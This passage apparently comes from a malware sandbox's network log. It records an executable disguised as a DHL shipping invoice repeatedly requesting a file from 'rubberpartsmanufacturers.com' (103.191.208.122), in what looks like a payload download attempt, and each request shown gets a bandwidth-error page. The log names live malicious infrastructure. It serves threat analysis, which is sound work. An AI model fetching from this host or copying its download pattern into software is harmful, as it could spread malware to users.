20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	57031	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:41 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:42 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:42 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:42 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	57032	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:43 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:43 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:43 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:43 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	57033	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:44 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:45 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:45 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:45 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	57035	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:46 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:47 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:47 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:47 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	57036	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:48 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:48 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:48 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:48 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	57038	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:50 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:50 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:50 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:50 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	57039	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:52 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:52 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:52 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:52 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	57040	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:53 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:53 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:53 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:53 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	57041	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:55 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:55 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:55 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:55 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	57042	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:56 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:56 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:56 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:56 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	57043	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:58 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:58 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:58 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:58 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	57044	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:59 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:00 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:59 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:00 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	57045	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:01 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:01 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:01 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:01 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	57046	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:02 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:03 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:03 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:03 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	57048	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:04 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	57049	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:06 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:06 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:06 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
